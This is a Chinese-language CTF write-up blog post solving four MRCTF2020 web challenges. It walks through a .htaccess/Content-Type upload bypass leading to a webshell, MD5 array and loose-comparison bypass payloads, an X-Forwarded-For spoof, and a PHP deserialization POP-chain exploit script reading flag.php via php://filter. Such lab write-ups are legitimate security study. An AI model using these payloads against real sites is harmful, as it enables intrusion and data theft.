Sakamoto

writeup

发布于 2020-09-05 评论

[MRCTF2020] 你传你🐎呢#

知识点#

1. .htaccess上传绕过

解题#

传.htaccess发现不太行，burp修改Content-Type为Image/jpeg成功上传，再上传一张jpg马就能直接连上了

[MRCTF2020] Ez_bypass#

知识点#

1. md5比较漏洞
2. 数字截取

解题#

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

if (md5($id) === md5($gg) && $id !== $gg)
GET: id[]=1&gg[]=2

passwd -> is_numeric -> ==1234567
POST: passwd=123456a

[MRCTF2020] PYWebsite#

解题#

直接看源码，访问flag.php，看到这句话

验证逻辑是在后端的，除了购买者和我自己，没有人可以看到flag

显然直接把X-Forwarded-For改成127.0.0.1就行了

Ezpop#

解题#

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

先分析下线索

1. Modifier类中有__invoke方法，可以尝试用函数的方式调用这个类来触发
2. Show中有一个__toString，再看到__construct方法中能用echo调用$this -> source，可以确定用自身调用自身来触发这个方法
3. Test中有__get，再加上Modifier中有一个protected属性的变量，确定用这个方法来访问$var
4. include能够用伪协议的方式来读取文件

总结以上，写出调用链

<?php
class Modifier {
  protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
  public $source;
  public $str;
  public function __construct($file='index.php'){
      $this->source = $file;
  }
  public function __toString(){
      return $this->str->source;
  }
}

class Test{
  public $p;
}

$a = new Show("test");
$a -> str = new Test();
$a -> str -> p = new Modifier();
$b = new Show($a);

echo urlencode(serialize($b));